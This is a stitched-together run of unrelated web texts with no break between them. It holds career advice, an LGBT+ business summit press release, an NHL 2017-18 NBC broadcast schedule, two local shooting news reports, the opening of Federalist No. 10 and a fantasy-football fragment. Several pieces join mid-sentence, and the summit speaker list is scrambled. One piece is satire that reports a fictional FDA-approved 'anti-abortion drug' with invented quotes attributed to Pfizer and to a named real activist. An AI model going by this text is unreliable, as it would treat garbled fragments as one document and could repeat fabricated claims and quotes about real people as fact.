It is very important that you plan your day, making note of all your meetings and appointments, making sure to not book things too close together to get to them. As you plan your day, as much as possible allow for the “what if” that could potentially delay your arrival. Use your technology to your advantage. Set yourself reminders and alarms at times that will allow you plenty of time to get to where you need to go next. One of my favorite things to do is to periodically put events on my calendar 15 minutes earlier than they really are. I can never remember which ones I actually put down as early, and as a result frequently find myself getting to appointments early. If you know you are going to be late, let the others you are to meet with know you will be late as soon as you possibly can. And if you suddenly realize you actually missed a meeting or appointment, reach out to that person as soon as you realize so as not to keep them waiting any longer.
5. Temperament
Have you heard the quotes, “It is not what you say, it is how you say it” or “It is not how you see your self, it is how others perceive you?” You probably heard them said or said them to others in the context of a personal, marital or familial relationship. These statements are particularly true in the professional setting. How someone interacts with others, both verbally and electronically can make or break his or her career.
As with procrastination and always being late, how you behave regularly will affect the reputation you build with others. No one wants to be around someone who is constantly angry, sad or negative, those who complain frequently, talk about others behind their backs, or are overly or inappropriately sarcastic. Think about your last interaction with someone like that. Chances are if I asked you to describe them to me, you would not tell me about all of the good thing he has done throughout his career. Rather you will likely focus on the fact that he is always grumpy, angry, sarcastic and so on.
We are all humans, and so much can be going on in our lives outside of the workplace, when you interact with others, be mindful of your emotions at the time, and be sure not to allow your personal life to affect the way you interact with others. It is also important to remember that not just the words that you speak, but also the non-verbal body language you use can be just as, if not more impactful on how others perceive your temperament. Whether you are more of a positive or negative person, your temperament will be reflected in everything you say and do professionally. When you go to a meeting, or talk to your coworkers, or clients, try to always have a friendly, and positive demeanor and keep a smile on your face.
6. Inflexibility
Those who are flexible show your employers, co workers and clients that you are a team player and that they are easy going and approachable. Customer loyalty is not what is used to be. If a client feels that you are inflexible, they will likely also perceive you as difficult to work with which could result in their taking their business elsewhere. Those who remain flexible and open to new tasks and assignments, often find themselves in positive situations, often resulting in new chances to expand your client base and your opportunities to advance within your company. Today’s work environment is fluid and ever changing. Those who can easily adapt to the shifts in the workplace are seen as valuable assets to the company even above and beyond the expertise, knowledge and skills you possess. Those who are inflexible are often seen as not being good team players, not being committed to their jobs and are the ones most frequently passed over when opportunities for advancement arise.
7. Confidentiality
Confidentiality is another issue that can affect your position and reputation. Those who work in high-tech IT jobs or law firms need to take confidentiality especially seriously. Loss of confidentiality can cost companies dearly, and for many working within the intellectual property industry, a breach of confidentiality may be an ethics violation so grave that it can result in removal of your licenses or disbarment.
However, it is not just those required by law to keep things confidential who should take confidentiality seriously. It is important when working for a company or with your Business to Consumer and Business to Business clients that you are someone they feel they can trust. If you keep things confidential, you will be considered trustworthy, ethical, and most professional. However, if you breech the confidentiality of the company you work for or of a client or consumer, you can be certain that you will likely no longer work for that company or client.
Conclusion
Some of these behaviors can occur to all of of us from time to time. Been when they become habitual bad habits, you could damage your career beyond repair. If you fall into any of these categories, be sure to work on breaking these bad habits otherwise people will see only these bad habits and not your accomplishments, your reputation will suffer, your chances for employment advancement opportunities will surely decrease, and you could loose your clients, your job or even your license.Top Executives Convene at Seventh Annual Out Leadership: U.S. LGBT+ Summit 2017 to Discuss the Role of Business in Creating and Sustaining Inclusion in an Uncertain World
WHAT: Out Leadership’s seventh annual LGBT+ Summit in the U.S. brings together LGBT+ and straight ally senior leaders to discuss issues at the intersection of LGBT+ and business, while collectively setting a forward-looking agenda for the global business community.
The Summit’s agenda includes a session that will explore examples of successful interventions by business to halt anti-LGBT+ laws. It also includes a discussion on current cases pending in the U.S. that could result in nondiscrimination protections, why they’re good for business, and how businesses can ensure these protections become law.
WHO: Out Leadership: U.S. LGBT Summit 2017 is hosted by Jeff Bewkes, Chairman and CEO, Time Warner Inc. The Summit is sponsored by Greenberg Traurig, LLP. Additional speakers include:
Janet C. Boyd, Director of Government Relations and Legislative Counsel, The Dow Chemical Company
, Director of Government Relations and Legislative Counsel, The Dow Chemical Company Jonathan Capehart, Editorial Board, The Washington Post
, Editorial Board, The Washington Post Mark McCombe, Head of the Americas, BlackRock, and Global Head, BlackRock Alternative Investors
, Head of the Americas, BlackRock, and Global Head, BlackRock Alternative Investors Ernest LaMont Greer, Co-President, Greenberg Traurig, LLP
, Co-President, Greenberg Traurig, LLP Rufus Gifford, former U.S. Ambassador to Denmark
, former U.S. Ambassador to Eric Holder, Partner, Covington & Burling
, Partner, Covington & Burling Matt McTighe, Executive Director, Freedom for All Americans
, Executive Director, Freedom for All Americans Martine Rothblatt, CEO, United Therapeutics
, CEO, United Therapeutics Rachel B. Tiven, Executive Director, Lambda Legal
, Executive Director, Lambda Legal Mark Thompson, CEO, The New York Times Company
, CEO, The New York Times Company Tony West, Vice President of Government Affairs, General Counsel and Corporate Secretary, PepsiCo
, Vice President of Government Affairs, General Counsel and Corporate Secretary, PepsiCo Kenji Yoshino, Chief Justice Earl Warren Professor of Constitutional Law, NYU School of Law, and Member, Out Leadership Global Advisory Board
Speakers subject to change. Attendance is by invitation only.
WHERE: Time Warner Center, 60 Columbus Circle, The Columbus Room, 10th Floor, New York, NY, 10019
WHEN: Friday, May 5, 2017. 2:00 – 5:40 PM
WHY: Out Leadership gathers senior leaders in the global financial hubs of New York, London, Hong Kong, and Sydney to help their companies attract, retain and develop LGBT+ talent, capture market opportunity, and drive LGBT+ equality forward.
LGBT+… + Muslims, + Immigrants, + Women, + Communities of Color, + Disabled, + Veterans. The world’s smartest companies know their top talent, and their customers, are not single-issue people. Inclusion is good for business. Period.
About Out Leadership
Out Leadership is the global LGBT+ business advisory company, partnering with the world’s most influential firms to build business opportunity, cultivate talent, and drive equality forward. Including LGBT+ people at all levels powerfully benefits bottom lines. We help companies realize their Return on Equality™.
Out Leadership is a certified B Corp. For more information about our global initiatives or to learn about our advisory work, please visit www.outleadership.comAll games will be streamed live on NBCSports.com and the NBC Sports app to authenticated users via TV Everywhere.
STAMFORD, Conn. -- Coming off of the most-watched Stanley Cup Final without an Original Six team on record, NBC Sports Group is scheduled to present 99 NHL regular-season games during the 2017-18 season, beginning on Wednesday, Oct. 4, at 8 p.m. ET on NBCSN, when the two-time defending Stanley Cup champion Pittsburgh Penguins host the St. Louis Blues.
"We're proud to offer our most diverse NHL schedule ever to fans across the country," said Sam Flood, Executive Producer, NBC Sports & President of Production. "From classic rivalries and historic franchises, to young stars such as Auston Matthews and Connor McDavid, a hockey-crazed market in Nashville, and a new franchise in Vegas, this schedule represents our commitment to present the NHL's diverse and emerging stars, teams, and stories."
Schedule highlights include:
• NBCSN will televise seven games through the first week of the season, highlighted by the season-opener between the St. Louis Blues and two-time defending Stanley Cup champion Pittsburgh Penguins; the Detroit Red Wings' first-ever regular-season home game at Little Caesars Arena vs. the Minnesota Wild on Oct. 5; the Vegas Golden Knights' first-ever home game vs. the Arizona Coyotes on Oct. 10; and a Wednesday Night Rivalry clash between the Penguins and Washington Capitals on Oct. 11.
• NBC will present the 2018 Bridgestone NHL Winter Classic between the New York Rangers and Buffalo Sabres from Citi Field in New York City, home of Major League Baseball's New York Mets, on Jan. 1, 2018, at 1 p.m. ET.
Video: NYR@NJD: Zibanejad fakes, goes five-hole for OT win
• NBC will air exclusive coverage of the 2018 Coors Light NHL Stadium Series in primetime on March 3, 2018, at 8 p.m. ET, when the Toronto Maple Leafs face the Capitals at Navy-Marine Corps Memorial Stadium in Annapolis, Md., home of the U.S. Naval Academy.
• NBC will present coverage of the NHL All-Star Game from Amalie Arena in Tampa, Fla., home of the Tampa Bay Lightning. NHL All-Star Weekend will take place Saturday, Jan. 27 and Sunday, Jan. 28, and will include the NHL All-Star Skills Competition™ and the NHL All-Star Game.
• The 2017-18 regular season on NBCSN will feature 23 Wednesday Night Rivalry telecasts, plus five Wednesday Nightcaps and five Sunday Night Hockey exclusive games. WNR will feature the biggest rivalries in the NHL, including Penguins-Capitals, Blues-Blackhawks, and Canadiens-Bruins.
• Auston Matthews' Toronto Maple Leafs and Connor McDavid's Edmonton Oilers will each make three appearances on NBC or NBCSN. In addition to its Stadium Series game on NBC, Toronto will face off against the Blackhawks on Wednesday Night Rivalry on Jan. 24, and visit Buffalo on March 5, both on NBCSN. The Oilers will visit St. Louis on Nov. 21, host Los Angeles on Jan. 2, and visit the defending Western Conference champion Nashville Predators on Jan. 9, all on NBCSN.
Video: EDM@SJS: McDavid pots rebound for 30th goal of season
• The defending Western Conference champion Nashville Predators will make seven appearances this season on NBCSN, including a pair of home matchups against the Blackhawks on Nov. 28 and Jan. 30.
• The Blackhawks lead all clubs with 17 total appearances on NBC and NBCSN, followed by the Penguins and Flyers with 16, and the Capitals, Red Wings, and Bruins with 15 appearances apiece, respectively. The expansion Vegas Golden Knights will be featured on NBCSN five times this season. (Some games are subject to local blackouts).
Video: DAL@CHI: Kane beats Lehtonen five-hole for a PPG
• At least 53 of NBC and NBCSN's 99 telecasts will feature at least one Western Conference team, and every U.S. team will appear on NBC or NBCSN in the regular season.
NHL ON NBCSN
NBCSN will televise 90 NHL regular-season games this season, including the Opening Night doubleheader, 23 Wednesday Night Rivalry games, five Wednesday Nightcaps, five Sunday Night Hockey contests, and NHL All-Star coverage.
NBCSN coverage begins on Wednesday, Oct. 4 at 7 p.m. ET with NHL Live leading into coverage of Blues-Penguins from Pittsburgh. Coverage shifts to San Jose immediately following Blues-Penguins for the Wednesday Nightcap, featuring the Flyers and Sharks.
Video: PIT@NYR: Crosby banks puck home from below goal line
NHL ON NBC
NHL on NBC coverage begins on Friday, Nov. 24, at 1 p.m. ET, with the 2017 Discover NHL Thanksgiving Showdown featuring the Pittsburgh Penguins and Boston Bruins, marking the first of nine games that will air on NBC during the regular season. Beginning on Jan. 14, and continuing through the end of the regular season, NBC will present the NHL Game of the Week, generally occurring on Sunday afternoons.
Following is the 2017-18 NHL on NBC regular season schedule:
Fri., Nov. 24 Pittsburgh at Boston, 1 p.m. (2017 NHL Thanksgiving Showdown)
Sun., Jan. 1 N.Y. Rangers at Buffalo, 1 p.m. (2018 NHL Winter Classic)
Sun., Jan 14 N.Y. Rangers at Pittsburgh, 12:30 p.m.
Sun., Jan 21 Philadelphia at Washington, 12:30 p.m.
Sun., Mar. 3 Toronto at Washington, 8 p.m. (2018 NHL Stadium Series)
Sun., Mar. 11 Boston at Chicago, 12:30 p.m.
Sun., Mar. 25 Philadelphia at Pittsburgh, 12:30 p.m.
Sun., Apr. 1 Boston at Philadelphia, 12:30 p.m.
Sat., Apr. 7 N.Y. Rangers at Philadelphia, 3 p.m.
NHL WINTER CLASSIC, NHL STADIUM SERIES AND NHL100 CLASSIC
On Jan. 1, the 2018 Bridgestone NHL Winter Classic will feature the Buffalo Sabres and New York Rangers on NBC at 1 p.m. ET at Citi Field, home of the New York Mets. This year's edition will mark the 10-year anniversary of the first NHL Winter Classic®, which has produced five of the most-watched NHL regular-season games on record.
NBC will present exclusive coverage of the 2018 Coors Light NHL Stadium Series and the 2017 Scotiabank NHL100 Classic. The NHL Stadium Series will feature the Toronto Maple Leafs and Washington Capitals on March 3 in primetime on NBC at Navy-Marine Corps Memorial Stadium, located at the U.S. Naval Academy in Annapolis, Md. NBCSN will televise the outdoor NHL100 Classic on Dec. 16, featuring the Ottawa Senators and Montreal Canadiens from Lansdowne Park in Ottawa, commemorating the first-ever NHL game, which featured the Senators and Canadiens nearly 100 years ago.
Video: TOR@BUF: Eichel pots backhand goal on breakaway
WEDNESDAY NIGHT RIVALRY
NBCSN's exclusive Wednesday Night Rivalry coverage will return for a fifth season and will feature some of the biggest rivalries in the NHL, including Penguins-Capitals, Blues-Blackhawks, and Canadiens-Bruins. The network will air exclusive coverage on Wednesday nights for 23 weeks, with games usually starting at 8 p.m. ET. NBCSN's 10 most-watched games in 2016-17 were either Wednesday Night Rivalry or Sunday Night Hockey games.
NBCSN 2017-18 NHL Wednesday Night Rivalry schedule (subject to change):
October 4 St. Louis at Pittsburgh, 8 p.m. (Opening Night)
October 11 Pittsburgh at Washington, 7:30 p.m.
October 18 Chicago at St. Louis, 8 p.m.
October 25 Buffalo at Columbus, 8 p.m.
November 1 Philadelphia at Chicago, 8 p.m.
November 8 Boston at N.Y. Rangers, 8 p.m.
November 15 N.Y. Rangers at Chicago, 8 p.m.
November 29 Tampa Bay at Boston, 7:30 p.m.
December 6 Chicago at Washington, 8 p.m.
December 13 Boston at Detroit, 8 p.m.
December 20 Detroit at Philadelphia, 8 p.m.
January 3 Chicago at N.Y. Rangers, 8 p.m.
January 10 Minnesota at Chicago, 8 p.m.
January 17 Montreal at Boston, 7:30 p.m.
January 24 Toronto at Chicago, 8 p.m.
January 31 Philadelphia at Washington, 8 p.m.
February 7 Boston at N.Y. Rangers, 8 p.m.
February 28 Detroit at St. Louis, 8 p.m.
March 4 Detroit at Minnesota, 7 p.m.
March 7 Pittsburgh at Philadelphia, 8 p.m.
March 14 Pittsburgh at N.Y. Rangers, 8 p.m.
March 21 Boston at St. Louis, 8 p.m.
March 28 N.Y. Rangers at Washington, 8 p.m.
April 4 Chicago at St. Louis, 8 p.m.
WEDNESDAY NIGHTCAP
In addition, NBCSN will present five games on Wednesday nights that will immediately follow Wednesday Night Rivalry matchups. These nightcaps will showcase one or two Western Conference teams. The first of these games will take place on Opening Night, when Philadelphia visits San Jose following Blues-Penguins.
Following are the five Wednesday Nightcap games:
October 4 Philadelphia at San Jose, 10:30 p.m.
October 18 Montreal at Los Angeles, 10:30 p.m.
November 1 Nashville at San Jose, 10:30 p.m.
November 8 Tampa Bay at San Jose, 10:30 p.m.
January 17 Pittsburgh at Anaheim, 10 p.m.
Video: EDM@SJS: Burns buries long-range shot through traffic
SUNDAY NIGHT HOCKEY ON NBCSN
Beginning on March 4, NBCSN will present five Sunday Night Hockey matchups. These exclusive telecasts include Red Wings-Wild, Blues-Blackhawks, and Capitals-Penguins.
Following is NBCSN's Sunday Night Hockey schedule:
March 4 Detroit at Minnesota, 7 p.m.
March 11 Dallas at Pittsburgh, 7:30 p.m.
March 18 St. Louis at Chicago, 7:30 p.m.
March 25 Boston at Minnesota, 7:30 p.m.
April 1 Washington at Pittsburgh, 7:30 p.m.
Video: WSH@MIN: Ovi erupts in Minny for 17th career hatty
NHL ALL-STAR WEEKEND (JAN. 27-28 - Amalie Arena in Tampa, Fla.)
NBC and NBCSN will present extensive coverage of the 2018 NHL All-Star Weekend from Amalie Arena in Tampa, Fla., the home of the Tampa Bay Lightning. NHL All-Star will take place January 27-28, 2018, and will include the NHL All-Star Skills Competition™ on Saturday, Jan. 27, on NBCSN, and the NHL All-Star Game on Sunday, Jan. 28, on NBC. Last year's NHL All-Star Game in Los Angeles, Calif., fueled by the second consecutive season featuring the 3-on-3 tournament style format, returned to NBC to mark the first time the game was played on network television since 2004.
NHL LIVE AND NHL OVERTIME
NHL Live and NHL Overtime, NBCSN's live pre- and post-game show with highlights and analysis of NHL matchups, will air before and after most games. A 60-minute edition of NHL Live will air prior to most games, while NHL Overtime will air immediately following most games.
NBCSPORTS.COM & NBC SPORTS APP
The NBC Sports app - NBC Sports Group's live streaming product for desktops, mobile devices, tablets, and connected TVs - will stream coverage via "TV Everywhere," giving consumers additional value for their subscription service, and making high quality content available to MVPD customers both in and out of the home and on multiple platforms. The NBC Sports app is available on Apple iOS, Android and select Samsung devices, as well as on Amazon Fire TV, Apple TV, Chromecast, Comcast's X1, Roku, Win10, and Xbox.
NBC Sports Group 2017-18 NHL regular-season schedule (subject to change):
Wed., Oct. 4 St. Louis at Pittsburgh NBCSN, 8 p.m.
Wed., Oct. 4 Philadelphia at San Jose NBCSN, 10:30 p.m.
Thur., Oct. 5 Minnesota at Detroit NBCSN, 7:30 p.m.
Thurs., Oct. 5 Philadelphia at Los Angeles NBCSN, 10 p.m.
Tue., Oct. 10 Chicago at Montreal NBCSN, 7:30 p.m.
Tue., Oct. 10 Arizona at Vegas NBCSN, 10 p.m.
Wed., Oct. 11 Pittsburgh at Washington NBCSN, 7:30 p.m.
Tue., Oct. 17 Tampa Bay at New Jersey NBCSN, 7:30 p.m.
Tue., Oct. 17 Montreal at San Jose NBCSN, 10:30 p.m.
Wed., Oct. 18 Chicago at St. Louis NBCSN, 8 p.m.
Wed., Oct. 18 Montreal at Los Angeles NBCSN, 10:30 p.m.
Sat., Oct. 21 Florida at Washington NBCSN, 7:30 p.m.
Tue., Oct. 24 Detroit at Buffalo NBCSN, 7:30 p.m.
Wed., Oct. 25 Buffalo at Columbus NBCSN, 8 p.m.
Wed., Nov. 1 Philadelphia at Chicago NBCSN, 8 p.m.
Wed., Nov. 1 Nashville at San Jose NBCSN, 10:30 p.m.
Tue., Nov. 7 Washington at Buffalo NBCSN, 7 p.m.
Tue., Nov. 7 Los Angeles at Anaheim NBCSN, 10 p.m.
Wed., Nov. 8 Boston at N.Y. Rangers NBCSN, 8 p.m.
Wed., Nov. 8 Tampa Bay at San Jose NBCSN, 10:30 p.m.
Tue., Nov. 14 Washington at Nashville NBCSN, 8 p.m.
Wed., Nov. 15 N.Y. Rangers at Chicago NBCSN, 8 p.m.
Tue., Nov. 21 Edmonton at St. Louis NBCSN, 8 p.m.
Wed., Nov. 22 Chicago at Tampa Bay NBCSN, 7:30 p.m.
Fri., Nov. 24 Pittsburgh at Boston NBC, 1 p.m.
Tue., Nov. 28 Chicago at Nashville NBCSN, 8 p.m.
Wed., Nov. 29 Tampa Bay at Boston NBCSN, 7:30 p.m.
Tue., Dec. 5 N.Y. Rangers at Pittsburgh NBCSN, 7:30 p.m.
Tue., Dec. 5 Minnesota at Los Angeles NBCSN, 10 p.m.
Wed., Dec. 6 Chicago at Washington NBCSN, 8 p.m.
Tue., Dec. 12 Tampa Bay at St. Louis NBCSN, 8 p.m.
Wed., Dec. 13 Boston at Detroit NBCSN, 8 p.m.
Sat., Dec. 16 Montreal at Ottawa NBCSN, 7 p.m.
Tue., Dec. 19 Boston at Buffalo NBCSN, 7:30 p.m.
Wed., Dec. 20 Detroit at Philadelphia NBCSN, 8 p.m.
Wed., Dec. 27 Washington at N.Y. Rangers NBCSN, 8 p.m.
Thur., Dec. 28 Boston at Washington NBCSN, 7:30 p.m.
Thur., Dec. 28 Vegas at Los Angeles NBCSN, 10 p.m.
Fri., Dec. 29 Nashville at Minnesota NBCSN, 8 p.m.
Mon., Jan. 1 N.Y. Rangers at Buffalo NBC, 1 p.m.
Tue., Jan 2 Pittsburgh at Philadelphia NBCSN, 7 p.m.
Tue., Jan. 2 Los Angeles at Edmonton NBCSN, 9:30 p.m.
Wed., Jan. 3 Chicago at N.Y. Rangers NBCSN, 8 p.m.
Sun., Jan. 7 Boston at Pittsburgh NBCSN, 7:30 p.m.
Tue., Jan. 9 Edmonton at Nashville NBCSN, 8 p.m.
Wed., Jan. 10 Minnesota at Chicago NBCSN, 8 p.m.
Sun., Jan. 14 N.Y. Rangers at Pittsburgh NBC, 12:30 p.m.
Mon., Jan. 15 N.Y. Islanders at Montreal NBCSN, 7:30 p.m.
Tue., Jan. 16 Philadelphia at N.Y. Rangers NBCSN, 7 p.m.
Wed., Jan 17 Montreal at Boston NBCSN, 7:30 p.m.
Wed., Jan. 17 Pittsburgh at Anaheim NBCSN, 10 p.m.
Thur., Jan 18 Buffalo at N.Y. Rangers NBCSN, 7:30 p.m.
Thur., Jan 18 Pittsburgh at Los Angeles NBCSN, 10 p.m.
Fri., Jan 19 Los Angeles at Anaheim NBCSN, 10 p.m.
Sun., Jan. 21 Philadelphia at Washington NBC, 12:30 p.m.
Mon., Jan. 22 Tampa Bay at Chicago NBCSN, 8:30 p.m.
Tue., Jan. 23 Philadelphia at Detroit NBCSN, 7:30 p.m.
Wed., Jan. 24 Toronto at Chicago NBCSN, 8 p.m.
Thur., Jan. 25 Chicago at Detroit NBCSN, 7:30 p.m.
Tue., Jan. 30 Chicago at Nashville NBCSN, 8 p.m.
Wed., Jan. 31 Philadelphia at Washington NBCSN, 8 p.m.
Thur., Feb. 1 Los Angeles at Nashville NBCSN, 8:30 p.m.
Fri., Feb. 2 Vegas at Minnesota NBCSN, 8 p.m.
Tue., Feb. 6 Minnesota at St. Louis NBCSN, 8 p.m.
Wed., Feb. 7 Boston at N.Y. Rangers NBCSN, 8 p.m.
Mon., Feb. 26 Philadelphia at Montreal NBCSN, 7:30 p.m.
Tue., Feb. 27 St. Louis at Minnesota NBCSN, 8 p.m.
Tue., Feb. 27 Los Angeles at Vegas NBCSN, 10:30 p.m.
Wed., Feb. 28 Detroit at St. Louis NBCSN, 8 p.m.
Thur., Mar. 1 Pittsburgh at Boston NBCSN, 7 p.m.
Thur., Mar. 1 Chicago at San Jose NBCSN, 10 p.m.
Sat., Mar. 3 Toronto at Washington NBC, 8 p.m.
Sun., Mar. 4 Detroit at Minnesota NBCSN, 7 p.m.
Mon., Mar. 5 Toronto at Buffalo NBCSN, 7:30 p.m.
Tue., Mar. 6 Detroit at Boston NBCSN, 7 p.m.
Tue., Mar. 6 Washington at Anaheim NBCSN, 10 p.m.
Wed., Mar. 7 Pittsburgh at Philadelphia NBCSN, 8 p.m.
Sun., Mar. 11 Boston at Chicago NBC, 12:30 p.m.
Sun., Mar. 11 Dallas at Pittsburgh NBCSN, 7:30 p.m.
Tue., Mar. 13 Colorado at Minnesota NBCSN, 8:30 p.m.
Wed., Mar. 14 Pittsburgh at N.Y. Rangers NBCSN, 8 p.m.
Thur., Mar. 15 Pittsburgh at Montreal NBCSN, 7:30 p.m.
Thur., Mar. 15 Detroit at Los Angeles NBCSN, 10 p.m.
Sun., Mar. 18 St. Louis at Chicago NBCSN, 7:30 p.m.
Mon., Mar. 19 Los Angeles at Minnesota NBCSN, 8 p.m.
Tue., Mar. 20 Philadelphia at Detroit NBCSN, 7:30 p.m.
Wed., Mar. 21 Boston at St. Louis NBCSN, 8 p.m.
Thur., Mar. 22 Washington at Detroit NBCSN, 7:30 p.m.
Thur., Mar. 22 Vegas at San Jose NBCSN, 10 p.m.
Sun., Mar. 25 Philadelphia at Pittsburgh NBC, 12:30 p.m.
Sun., Mar. 25 Boston at Minnesota NBCSN, 7:30 p.m.
Mon., Mar. 26 Washington at N.Y. Rangers NBCSN, 7:30 p.m.
Wed., Mar. 28 N.Y. Rangers at Washington NBCSN, 8 p.m.
Thur., Mar. 29 Dallas at Minnesota NBCSN, 8 p.m.
Sun., Apr. 1 Boston at Philadelphia NBC, 12:30 p.m.
Sun., Apr. 1 Washington at Pittsburgh NBCSN, 7:30 p.m.
Tue., Apr. 3 TBD at TBD NBCSN, TBD
Wed., Apr. 4 Chicago at St. Louis NBCSN, 8 p.m.
Thur., Apr. 5 Carolina at Philadelphia NBCSN, 7 p.m.
Fri., Apr. 6 TBD at TBD NBCSN, TBD
Sat., Apr. 7 N.Y. Rangers at Philadelphia NBC, 3 p.m.
Sat., Apr. 7 TBD at TBD NBCSN, TBD
*Some games will be blacked out in local markets and televised in those markets by a regional carrierAttorney: Man fatally shot in Chesapeake community was playing Pokemon Go Copyright by WAVY - All rights reserved WAVY/Matt Gregory [ + - ] Video
CHESAPEAKE, Va. (WAVY) -- The 60-year-old man who was shot and killed by a security guard last Thursday in a Chesapeake community was playing Pokemon Go, the family's attorney tells 10 On Your Side.
Jiansheng Chen was shot during a confrontation with a security guard while he was sitting in a minivan at the River Walk community clubhouse. Chen was reportedly playing the popular virtual reality smartphone game at the time.
Copyright by WAVY - All rights reserved Jiansheng Chen (Family photo)
Copyright by WAVY - All rights reserved Jiansheng Chen (Family photo)
It's a game that Chen played to keep up with his children and grandchildren. The game shows a Pokemon gym in the area where Chen was shot.
"That he was engaged in playing this game because the River Walk Community Center is a gym in the program," attorney Greg Sandler said.
The family's attorney says they had just celebrated on the eve of the Chinese New Year. Chen told his relatives around 10:30 p.m. that he was going out to catch some Pokemon in the neighborhood.
"He was sitting there in his van, I understand the headlights were on in the van," Sandler said. "He was parked in that location and he was playing his game."
Chen's nephew said in a statement from their attorney that his uncle "was a kind, wise and caring family man."
10 On Your Side went to office of the security company that patrols the River Walk neighborhood: Citywide Protection Services. A woman inside said she had no comment, but referred us to an attorney.
The River Walk Community Association released a statement on the shooting Monday morning:
The River Walk Community Association does have a contract for unarmed roving patrol services for the common areas of the community. We are fully cooperating with authorities investigating the incident that took place just outside association property."
Police said Friday that no charges were filed, but that an investigation was ongoing. Police report no weapons were found in Jiansheng Chen's possession.
Stay with WAVY News 10 for the latest updates to this story.NEW YORK—Pro-life advocates celebrated approval of the new anti-abortion drug UR-86 by the Food and Drug Administration Tuesday, calling it a "safe and effective method" for terminating pregnant women while leaving their unborn children unharmed.
Pfizer, manufacturer of UR-86—dubbed the "last-morning-ever pill"—said the drug is intended only for occasions when the mind-set or politics of the mother threaten the life of the fetus.
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"This drug is designed for extreme cases in which the mother cannot or should not be saved, or when her health has been placed before that of her unborn child," Pfizer spokesman Anthony Wright said.
The orally ingested drug first tests for the presence of a fetus. If the outcome is positive, a near-lethal dose of barbiturates is released, which induces a coma in the expectant mother until the child is born, at which point a second, fatal dose is released.
The FDA's approval came after months of clinical trials firmly established that the fetus would be nourished and protected in the womb of the near-deceased UR-86 user.
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Gender-equality advocates praised the introduction of the drug, calling it an "innovative solution" to the highly polarizing national abortion debate.
"This is a step forward for equality," men's rights activist Charles Hackett said. "For too long, women have had an unfair advantage in the outcome of a pregnancy. UR-86 levels the playing field for husbands and boyfriends across America."
Pro-life advocates, many of whom had petitioned the FDA to approve UR-86 while the drug was still in the research-and-development stage, also reacted warmly to the FDA's decision. Randall Terry, founder of Operation Rescue, praised the new pharmaceutical for its potential use in cases of rape and incest, saying it could help end the shame and humiliation of such trauma while saving the life of the fetus.
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"Victims of sexual assault can feel trapped, like they've got nowhere to turn," Terry said. "Now, they can solve their deep, internal problems once and for all, without unfairly condemning their children."
Yet critics say UR-86's prescription-only status and the fact that most health insurance plans do not cover the drug limit its effectiveness, as it is not available to those who need it most.
"If people can't afford the drug or get it prescribed on short notice, they're not going to have enough time to act, especially when their wives want to end the pregnancy fast," men's issues commentator Stan Dynes said. "UR-86 should be made available over the counter as soon as possible. It's the husband's right to choose if this drug is right for him, and neither the government nor the medical elite should get in the way of that decision."
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Pfizer trials showed that UR-86 can do nothing for the fetus if an abortion procedure is performed. "If the mother is administered the pill the morning after an abortion, the fetus cannot be revived because it won't be there," Pfizer's Wright said. "It will still terminate the mother, though."
Conversely, some lawmakers are uneasy with the concept of ready access to the anti-abortion pill.
Tuesday night, South Dakota legislators introduced a bill to impose a five-day waiting period for teenage girls and women before they can buy the pill, claiming its use does not adequately safeguard the lifestyle of the father, the laundry of the father, or the favorite meals of the father. The legislators cited Pfizer's own published list of side effects of UR-86, which include domestic messiness, already-born-child neglect, and inadequate stocking of the fridge.
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Still, Pfizer anticipates not only that the drug will be popular with husbands, but also that, once available over the counter, UR-86 will likely find a large consumer base in mothers-in-law, downstairs neighbors, and extramarital lovers.The Federalist No. 10 The Utility of the Union as a Safeguard Against Domestic Faction and Insurrection (continued) Daily Advertiser
Thursday, November 22, 1787
[James Madison]
To the People of the State of New York:
A MONG the numerous advantages promised by a well constructed Union, none deserves to be more accurately developed than its tendency to break and control the violence of faction. The friend of popular governments never finds himself so much alarmed for their character and fate, as when he contemplates their propensity to this dangerous vice. He will not fail, therefore, to set a due value on any plan which, without violating the principles to which he is attached, provides a proper cure for it. The instability, injustice, and confusion introduced into the public councils, have, in truth, been the mortal diseases under which popular governments have everywhere perished; as they continue to be the favorite and fruitful topics from which the adversaries to liberty derive their most specious declamations. The valuable improvements made by the American constitutions on the popular models, both ancient and modern, cannot certainly be too much admired; but it would be an unwarrantable partiality, to contend that they have as effectually obviated the danger on this side, as was wished and expected. Complaints are everywhere heard from our most considerate and virtuous citizens, equally the friends of public and private faith, and of public and personal liberty, that our governments are too unstable, that the public good is disregarded in the conflicts of rival parties, and that measures are too often decided, not according to the rules of justice and the rights of the minor party, but by the superior force of an interested and overbearing majority. However anxiously we may wish that these complaints had no foundation, the evidence, of known facts will not permit us to deny that they are in some degree true. It will be found, indeed, on a candid review of our situation, that some of the distresses under which we labor have been erroneously charged on the operation of our governments; but it will be found, at the same time, that other causes will not alone account for many of our heaviest misfortunes; and, particularly, for that prevailing and increasing distrust of public engagements, and alarm for private rights, which are echoed from one end of the continent to the other. These must be chiefly, if not wholly, effects of the unsteadiness and injustice with |
All rights reserved (WTNH / Brian Spyros) [ + - ] Video
NEW HAVEN, Conn. (WTNH) -- Route 80/ Foxon Boulevard in New Haven is back open after a shooting at a gas station near Quinnipiac Avenue Monday morning.
Police say they responded to a 911 call of a shooting at the Sunoco Gas Station at 350 Foxon Blvd. around 8:08 a.m. There they found 20-year-old Donald Keys, of New Haven, suffering from gunshot wound to his head. Police say he was shot outside the gas station door.
Keys was transported to Yale- New Haven Hospital where he is in critical but stable condition and reportedly talking with medical personnel.
Police blocked off the area of Foxon Blvd at Quinnpiac Avenue for the investigation. They say people on the scene have been cooperative, but no one has been able to describe the shooter or any possible get-away vehicle at this time. Police have also not recovered the weapon used.
#NewHaven PD at Sunoco on Foxon Blvd. Reports of a shooting. Portion of Rt. 80 closed to traffic. pic.twitter.com/GjnQ9zYqwM - Brian Spyros (@BrianSpyros) July 20, 2015
The shooting remains under investigation by New Haven's major crimes division. The search for the shooter is ongoing and police ask anyone who sees someone suspicious or anyone who maybe have witnessed the crime to call them at 203-946-6316.
Copyright by WTNH - All rights reserved (Map courtesy of Google Maps)Last week, we asked a few pundits to go through our early consensus to name who they felt were undervalued. Naturally, we wanted to make sure all those overvalued guys didn’t get left out so they wouldn’t feel lonely.
It may be early, but it doesn’t hurt to start evaluating how the consensus looks and that’s what our featured experts have done below.
Complete a mock draft in minutes with our free Draft Simulator >>
Q1. What RB is the most overvalued in our early consensus rankings?
LeGarrette Blount (RB – NE): RB20
